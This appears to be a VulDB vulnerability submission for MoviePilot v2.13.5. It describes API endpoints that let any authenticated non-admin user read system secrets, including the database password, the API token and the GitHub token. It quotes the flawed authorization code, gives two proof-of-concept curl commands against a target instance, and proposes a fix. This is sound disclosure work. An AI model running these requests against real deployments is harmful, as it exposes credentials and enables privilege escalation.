| Título | jxxghp MoviePilot v2.13.5 Missing Authorization |
|---|
| Descrição | https://github.com/jxxghp/MoviePilot
Title: Any authenticated (non-admin) user can read all system settings and secrets via /api/v1/system/env and /api/v1/system/setting/{key}
### Summary
The `GET /api/v1/system/env` and `GET /api/v1/system/setting/{key}` endpoints are documented
as admin-only but are guarded by `get_current_active_user_async`, which only checks that the
account is active, not that it is a superuser. Any authenticated non-admin user can therefore
read the full settings object, which includes secrets such as the database password, the
application API token, the GitHub token, and configured third-party API keys.
### Details
`app/api/endpoints/system.py`:
```python
@router.get("/env", summary="查询系统配置", ...)
async def get_env_setting(_: User = Depends(get_current_active_user_async)):
"""查询系统环境变量,包括当前版本号(仅管理员)""" # docstring says admin-only
info = settings.model_dump(exclude={"SECRET_KEY", "RESOURCE_SECRET_KEY"}) # only 2 fields hidden
...
return schemas.Response(success=True, data=info)
@router.get("/setting/{key}", ...)
async def get_setting(key: str, _: User = Depends(get_current_active_user_async)):
"""查询系统设置(仅管理员)"""
if hasattr(settings, key):
value = getattr(settings, key)
...
```
The dependency only enforces "active", not "superuser" (`app/db/user_oper.py`):
```python
async def get_current_active_user_async(current_user: User = Depends(get_current_user_async)) -> User:
if not current_user.is_active:
raise HTTPException(status_code=403, detail="用户未激活")
return current_user # no is_superuser check
async def get_current_active_superuser_async(current_user: User = Depends(get_current_user_async)) -> User:
if not current_user.is_superuser:
raise HTTPException(status_code=400, detail="用户权限不足") # the correct gate
return current_user
```
`settings.model_dump(exclude={"SECRET_KEY", "RESOURCE_SECRET_KEY"})` hides only those two
fields. Everything else defined in `app/core/config.py` is returned, including
`DB_POSTGRESQL_PASSWORD`, `API_TOKEN` (the app's own API token used to authenticate webhook
and automation calls), `GITHUB_TOKEN`, `TMDB_API_KEY`, `COOKIECLOUD_PASSWORD`,
`FEISHU_APP_SECRET`, and any configured downloader/LLM credentials. `/setting/{key}` returns
any single named setting (for example `API_TOKEN`) directly. Exposure of `API_TOKEN` lets a
low-privileged user authenticate to token-protected endpoints, so the impact extends beyond
disclosure to privilege escalation.
### PoC
Validated with the dependency functions (`app/db/user_oper.py:50` and `:74`), the
exclusion set (`system.py:507`), and config field names. A non-admin (active,
non-superuser) account is accepted by the `/env` gate but rejected by the correct superuser
gate:
```
Non-admin -> GET /api/v1/system/env : 200 {"DB_POSTGRESQL_PASSWORD":"prod-db-pass",
"GITHUB_TOKEN":"ghp_realtoken","TMDB_API_KEY":"tmdb-key","API_TOKEN":"app-api-token","SUPERUSER":"admin"}
Non-admin -> GET /admin-only (superuser gate): 400 {"detail":"用户权限不足"}
```
Against a live instance, as any non-admin user:
```
curl -s -H "Authorization: Bearer <non-admin-jwt>" "$TARGET/api/v1/system/env"
curl -s -H "Authorization: Bearer <non-admin-jwt>" "$TARGET/api/v1/system/setting/API_TOKEN"
```
### Impact
In any multi-user MoviePilot deployment, a regular (non-admin) user can read all system
secrets: database credentials, the application API token, the GitHub token, and configured
third-party API keys. With the leaked `API_TOKEN` the user can reach token-authenticated
endpoints, escalating beyond read-only disclosure.
Secondary (same root cause, missing/incorrect authorization, found but not the focus of this
report): `GET /api/v1/plugin/file/{plugin_id}/{filepath}` (`app/api/endpoints/plugin.py`) has
no authentication dependency (path traversal itself is blocked, but plugin files are served to
unauthenticated callers); `POST /api/v1/user/avatar/{user_id}` (`app/api/endpoints/user.py`)
updates the avatar of an arbitrary `user_id` without checking it matches the caller.
Suggested remediation: change `/env` and `/setting/{key}` to
`Depends(get_current_active_superuser_async)`, and additionally redact secret-bearing fields
from the settings dump rather than excluding only two keys. |
|---|
| Fonte | ⚠️ https://github.com/jxxghp/MoviePilot/issues/5916 |
|---|
| Utilizador | geochen (UID 78995) |
|---|
| Submissão | 14/06/2026 16h06 (há 1 mês) |
|---|
| Moderação | 18/07/2026 14h25 (1 month later) |
|---|
| Estado | Aceite |
|---|
| Entrada VulDB | 380046 [jxxghp MoviePilot até 2.13.5 Application API /jxxghp/MoviePilot Elevação de Privilégios] |
|---|
| Pontos | 20 |
|---|